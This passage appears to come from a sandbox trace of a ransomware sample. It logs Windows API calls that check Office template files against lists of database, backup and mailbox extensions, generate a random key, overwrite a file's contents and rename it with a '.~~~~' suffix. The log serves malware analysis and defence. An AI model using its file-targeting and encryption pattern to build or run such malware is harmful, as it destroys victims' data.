	[0144.039] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Newsprint.dotx", lpSrch=".DBX") returned 0x0
	[0144.039] lstrlenW (lpString=".MDT") returned 4
	[0144.039] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Newsprint.dotx", lpSrch=".MDT") returned 0x0
	[0144.039] lstrlenW (lpString=".SQB") returned 4
	[0144.039] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Newsprint.dotx", lpSrch=".SQB") returned 0x0
	[0144.039] lstrlenW (lpString=".vhd") returned 4
	[0144.039] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Newsprint.dotx", lpSrch=".vhd") returned 0x0
	[0144.039] lstrlenW (lpString=".bac") returned 4
	[0144.039] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Newsprint.dotx", lpSrch=".bac") returned 0x0
	[0144.039] lstrlenW (lpString=".mdf") returned 4
	[0144.039] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Newsprint.dotx", lpSrch=".mdf") returned 0x0
	[0144.039] lstrlenW (lpString=".BAK") returned 4
	[0144.039] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Newsprint.dotx", lpSrch=".BAK") returned 0x0
	[0144.040] lstrlenW (lpString=".BAC") returned 4
	[0144.040] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Newsprint.dotx", lpSrch=".BAC") returned 0x0
	[0144.040] lstrlenW (lpString=".dbs") returned 4
	[0144.040] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Newsprint.dotx", lpSrch=".dbs") returned 0x0
	[0144.040] lstrlenW (lpString=".vhdx") returned 5
	[0144.040] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Newsprint.dotx", lpSrch=".vhdx") returned 0x0
	[0144.040] lstrlenW (lpString=".NDF") returned 4
	[0144.040] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Newsprint.dotx", lpSrch=".NDF") returned 0x0
	[0144.040] lstrlenW (lpString=".dat") returned 4
	[0144.040] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Newsprint.dotx", lpSrch=".dat") returned 0x0
	[0144.040] lstrlenW (lpString=".DBS") returned 4
	[0144.040] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Newsprint.dotx", lpSrch=".DBS") returned 0x0
	[0144.040] lstrlenW (lpString=".CKP") returned 4
	[0144.040] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Newsprint.dotx", lpSrch=".CKP") returned 0x0
	[0144.040] lstrlenW (lpString=".edb") returned 4
	[0144.040] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Newsprint.dotx", lpSrch=".edb") returned 0x0
	[0144.040] lstrlenW (lpString=".PST") returned 4
	[0144.040] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Newsprint.dotx", lpSrch=".PST") returned 0x0
	[0144.040] lstrlenW (lpString=".dbf") returned 4
	[0144.040] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Newsprint.dotx", lpSrch=".dbf") returned 0x0
	[0144.040] lstrlenW (lpString=".SQL") returned 4
	[0144.040] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Newsprint.dotx", lpSrch=".SQL") returned 0x0
	[0144.040] lstrlenW (lpString=".pst") returned 4
	[0144.040] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Newsprint.dotx", lpSrch=".pst") returned 0x0
	[0144.040] lstrlenW (lpString=".dbv") returned 4
	[0144.040] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Newsprint.dotx", lpSrch=".dbv") returned 0x0
	[0144.040] lstrlenW (lpString=".SDF") returned 4
	[0144.040] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Newsprint.dotx", lpSrch=".SDF") returned 0x0
	[0144.040] lstrlenW (lpString=".dtxs") returned 5
	[0144.040] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Newsprint.dotx", lpSrch=".dtxs") returned 0x0
	[0144.040] lstrlenW (lpString=".db3") returned 4
	[0144.040] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Newsprint.dotx", lpSrch=".db3") returned 0x0
	[0144.040] lstrlenW (lpString=".OST") returned 4
	[0144.040] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Newsprint.dotx", lpSrch=".OST") returned 0x0
	[0144.041] lstrlenW (lpString=".dbx") returned 4
	[0144.041] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Newsprint.dotx", lpSrch=".dbx") returned 0x0
	[0144.041] lstrlenW (lpString=".DB3") returned 4
	[0144.041] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Newsprint.dotx", lpSrch=".DB3") returned 0x0
	[0144.041] lstrlenW (lpString=".DAT") returned 4
	[0144.041] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Newsprint.dotx", lpSrch=".DAT") returned 0x0
	[0144.041] lstrlenW (lpString=".VHDX") returned 5
	[0144.041] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Newsprint.dotx", lpSrch=".VHDX") returned 0x0
	[0144.041] lstrlenW (lpString=".ndf") returned 4
	[0144.041] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Newsprint.dotx", lpSrch=".ndf") returned 0x0
	[0144.041] lstrlenW (lpString=".DB") returned 3
	[0144.041] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Newsprint.dotx", lpSrch=".DB") returned 0x0
	[0144.041] lstrlenW (lpString=".sql") returned 4
	[0144.041] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Newsprint.dotx", lpSrch=".sql") returned 0x0
	[0144.041] lstrlenW (lpString=".MYD") returned 4
	[0144.041] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Newsprint.dotx", lpSrch=".MYD") returned 0x0
	[0144.041] lstrlenW (lpString=".DBT") returned 4
	[0144.041] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Newsprint.dotx", lpSrch=".DBT") returned 0x0
	[0144.041] lstrlenW (lpString=".ACCDB") returned 6
	[0144.041] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Newsprint.dotx", lpSrch=".ACCDB") returned 0x0
	[0144.041] lstrlenW (lpString=".fdb") returned 4
	[0144.041] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Newsprint.dotx", lpSrch=".fdb") returned 0x0
	[0144.041] lstrlenW (lpString=".bak") returned 4
	[0144.041] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Newsprint.dotx", lpSrch=".bak") returned 0x0
	[0144.041] lstrlenW (lpString=".myd") returned 4
	[0144.041] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Newsprint.dotx", lpSrch=".myd") returned 0x0
	[0144.041] lstrlenW (lpString=".DTXS") returned 5
	[0144.041] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Newsprint.dotx", lpSrch=".DTXS") returned 0x0
	[0144.041] lstrlenW (lpString=".ckp") returned 4
	[0144.041] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Newsprint.dotx", lpSrch=".ckp") returned 0x0
	[0144.041] lstrlenW (lpString=".dbt") returned 4
	[0144.041] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Newsprint.dotx", lpSrch=".dbt") returned 0x0
	[0144.041] lstrlenW (lpString=".db") returned 3
	[0144.042] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Newsprint.dotx", lpSrch=".db") returned 0x0
	[0144.042] lstrlenW (lpString=".TXT") returned 4
	[0144.042] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Newsprint.dotx", lpSrch=".TXT") returned 0x0
	[0144.042] lstrlenW (lpString=".MDF") returned 4
	[0144.042] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Newsprint.dotx", lpSrch=".MDF") returned 0x0
	[0144.042] lstrlenW (lpString=".bdb") returned 4
	[0144.042] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Newsprint.dotx", lpSrch=".bdb") returned 0x0
	[0144.042] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0144.042] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Newsprint.dotx", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0144.042] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2906550
	[0144.042] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630d0
	[0144.042] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x394b08) returned 1
	[0144.043] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630d0 | out: pbBuffer=0x3630d0) returned 1
	[0144.043] CryptReleaseContext (hProv=0x394b08, dwFlags=0x0) returned 1
	[0144.044] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630d0 | out: hHeap=0x300000) returned 1
	[0144.044] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0144.044] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0144.044] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=26403392237) returned 1
	[0144.044] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xbf4433b0, dwHighDateTime=0x1d60e1e)) 
	[0144.044] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0144.044] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0144.044] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3573b0
	[0144.044] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3b26a0
	[0144.044] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0144.044] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b26a0 | out: hHeap=0x300000) returned 1
	[0144.044] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0144.044] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0144.044] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28ac668
	[0144.044] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0144.044] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b0b68
	[0144.045] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28ac668 | out: hHeap=0x300000) returned 1
	[0144.045] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0144.045] GetLastError () returned 0x0
	[0144.045] GetLastError () returned 0x0
	[0144.045] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0144.045] GetLastError () returned 0x0
	[0144.045] GetLastError () returned 0x0
	[0144.045] ReadFile (in: hFile=0x114, lpBuffer=0x28e6048, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesRead=0x25dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0144.049] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0144.049] WriteFile (in: hFile=0x114, lpBuffer=0x28e6048*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesWritten=0x25dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0144.050] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e6048 | out: hHeap=0x300000) returned 1
	[0144.050] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0144.050] WriteFile (in: hFile=0x114, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0144.054] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0144.054] WriteFile (in: hFile=0x114, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0144.055] CloseHandle (hObject=0x114) returned 1
	[0144.055] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x39b218
	[0144.055] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Newsprint.dotx" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\quickstyles\\newsprint.dotx"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Newsprint.dotx.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\quickstyles\\newsprint.dotx.~~~~")) returned 1
	[0144.057] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39b218 | out: hHeap=0x300000) returned 1
	[0144.057] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3573b0 | out: hHeap=0x300000) returned 1
	[0144.057] GetLastError () returned 0x0
	[0144.058] RtlWakeConditionVariable () returned 0x0
	[0144.058] GetCurrentThreadId () returned 0x9f4
	[0144.058] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Perspective.dotx", lpSrch=".scr") returned 0x0
	[0144.058] lstrlenW (lpString=".cmd") returned 4
	[0144.058] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Perspective.dotx", lpSrch=".cmd") returned 0x0
	[0144.058] lstrlenW (lpString=".dll") returned 4
	[0144.058] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Perspective.dotx", lpSrch=".dll") returned 0x0
	[0144.058] lstrlenW (lpString=".bat") returned 4
	[0144.058] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Perspective.dotx", lpSrch=".bat") returned 0x0
	[0144.058] lstrlenW (lpString=".cpl") returned 4
	[0144.058] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Perspective.dotx", lpSrch=".cpl") returned 0x0
	[0144.058] lstrlenW (lpString=".sys") returned 4
	[0144.058] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Perspective.dotx", lpSrch=".sys") returned 0x0
	[0144.058] lstrlenW (lpString=".msc") returned 4
	[0144.058] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Perspective.dotx", lpSrch=".msc") returned 0x0
	[0144.058] lstrlenW (lpString=".com") returned 4
	[0144.058] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Perspective.dotx", lpSrch=".com") returned 0x0
	[0144.058] lstrlenW (lpString=".lnk") returned 4
	[0144.058] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Perspective.dotx", lpSrch=".lnk") returned 0x0
	[0144.058] lstrlenW (lpString=".msp") returned 4
	[0144.058] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Perspective.dotx", lpSrch=".msp") returned 0x0
	[0144.058] lstrlenW (lpString=".pif") returned 4
	[0144.058] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Perspective.dotx", lpSrch=".pif") returned 0x0
	[0144.058] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0144.058] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Perspective.dotx", lpSrch="msp\r\n.pif") returned 0x0
	[0144.058] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Perspective.dotx" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\quickstyles\\perspective.dotx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114
	[0144.060] lstrlenW (lpString=".sqb") returned 4
	[0144.060] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Perspective.dotx", lpSrch=".sqb") returned 0x0
	[0144.060] lstrlenW (lpString=".ost") returned 4
	[0144.060] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Perspective.dotx", lpSrch=".ost") returned 0x0
	[0144.060] lstrlenW (lpString=".txt") returned 4
	[0144.060] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Perspective.dotx", lpSrch=".txt") returned 0x0
	[0144.060] lstrlenW (lpString=".mdt") returned 4
	[0144.061] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Perspective.dotx", lpSrch=".mdt") returned 0x0
	[0144.061] lstrlenW (lpString=".BDB") returned 4
	[0144.061] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Perspective.dotx", lpSrch=".BDB") returned 0x0
	[0144.061] lstrlenW (lpString=".eql") returned 4
	[0144.061] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Perspective.dotx", lpSrch=".eql") returned 0x0
	[0144.061] lstrlenW (lpString=".DBF") returned 4
	[0144.061] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Perspective.dotx", lpSrch=".DBF") returned 0x0
	[0144.061] lstrlenW (lpString=".EQL") returned 4
	[0144.061] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Perspective.dotx", lpSrch=".EQL") returned 0x0
	[0144.061] lstrlenW (lpString=".FDB") returned 4
	[0144.061] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Perspective.dotx", lpSrch=".FDB") returned 0x0
	[0144.061] lstrlenW (lpString=".EDB") returned 4
	[0144.061] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Perspective.dotx", lpSrch=".EDB") returned 0x0
	[0144.061] lstrlenW (lpString=".DACPAC") returned 7
	[0144.061] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Perspective.dotx", lpSrch=".DACPAC") returned 0x0
	[0144.061] lstrlenW (lpString=".VHD") returned 4
	[0144.061] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Perspective.dotx", lpSrch=".VHD") returned 0x0
	[0144.061] lstrlenW (lpString=".DBV") returned 4
	[0144.061] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Perspective.dotx", lpSrch=".DBV") returned 0x0
	[0144.061] lstrlenW (lpString=".dacpac") returned 7
	[0144.061] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Perspective.dotx", lpSrch=".dacpac") returned 0x0
	[0144.061] lstrlenW (lpString=".sdf") returned 4
	[0144.061] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Perspective.dotx", lpSrch=".sdf") returned 0x0
	[0144.061] lstrlenW (lpString=".accdb") returned 6
	[0144.061] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Perspective.dotx", lpSrch=".accdb") returned 0x0
	[0144.061] lstrlenW (lpString=".DBX") returned 4
	[0144.061] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Perspective.dotx", lpSrch=".DBX") returned 0x0
	[0144.061] lstrlenW (lpString=".MDT") returned 4
	[0144.062] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Perspective.dotx", lpSrch=".MDT") returned 0x0
	[0144.062] lstrlenW (lpString=".SQB") returned 4
	[0144.062] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Perspective.dotx", lpSrch=".SQB") returned 0x0
	[0144.062] lstrlenW (lpString=".vhd") returned 4
	[0144.062] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Perspective.dotx", lpSrch=".vhd") returned 0x0
	[0144.062] lstrlenW (lpString=".bac") returned 4
	[0144.062] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Perspective.dotx", lpSrch=".bac") returned 0x0
	[0144.062] lstrlenW (lpString=".mdf") returned 4
	[0144.062] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Perspective.dotx", lpSrch=".mdf") returned 0x0
	[0144.062] lstrlenW (lpString=".BAK") returned 4
	[0144.062] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Perspective.dotx", lpSrch=".BAK") returned 0x0
	[0144.062] lstrlenW (lpString=".BAC") returned 4
	[0144.062] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Perspective.dotx", lpSrch=".BAC") returned 0x0
	[0144.062] lstrlenW (lpString=".dbs") returned 4
	[0144.062] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Perspective.dotx", lpSrch=".dbs") returned 0x0
	[0144.062] lstrlenW (lpString=".vhdx") returned 5
	[0144.062] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Perspective.dotx", lpSrch=".vhdx") returned 0x0
	[0144.062] lstrlenW (lpString=".NDF") returned 4
	[0144.062] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Perspective.dotx", lpSrch=".NDF") returned 0x0
	[0144.062] lstrlenW (lpString=".dat") returned 4
	[0144.062] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Perspective.dotx", lpSrch=".dat") returned 0x0
	[0144.062] lstrlenW (lpString=".DBS") returned 4
	[0144.062] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Perspective.dotx", lpSrch=".DBS") returned 0x0
	[0144.062] lstrlenW (lpString=".CKP") returned 4
	[0144.062] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Perspective.dotx", lpSrch=".CKP") returned 0x0
	[0144.062] lstrlenW (lpString=".edb") returned 4
	[0144.062] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Perspective.dotx", lpSrch=".edb") returned 0x0
	[0144.063] lstrlenW (lpString=".PST") returned 4
	[0144.063] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Perspective.dotx", lpSrch=".PST") returned 0x0
	[0144.063] lstrlenW (lpString=".dbf") returned 4
	[0144.063] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Perspective.dotx", lpSrch=".dbf") returned 0x0
	[0144.063] lstrlenW (lpString=".SQL") returned 4
	[0144.063] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Perspective.dotx", lpSrch=".SQL") returned 0x0
	[0144.063] lstrlenW (lpString=".pst") returned 4
	[0144.063] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Perspective.dotx", lpSrch=".pst") returned 0x0
	[0144.063] lstrlenW (lpString=".dbv") returned 4
	[0144.063] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Perspective.dotx", lpSrch=".dbv") returned 0x0
	[0144.063] lstrlenW (lpString=".SDF") returned 4
	[0144.063] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Perspective.dotx", lpSrch=".SDF") returned 0x0
	[0144.063] lstrlenW (lpString=".dtxs") returned 5
	[0144.063] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Perspective.dotx", lpSrch=".dtxs") returned 0x0
	[0144.063] lstrlenW (lpString=".db3") returned 4
	[0144.063] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Perspective.dotx", lpSrch=".db3") returned 0x0
	[0144.063] lstrlenW (lpString=".OST") returned 4
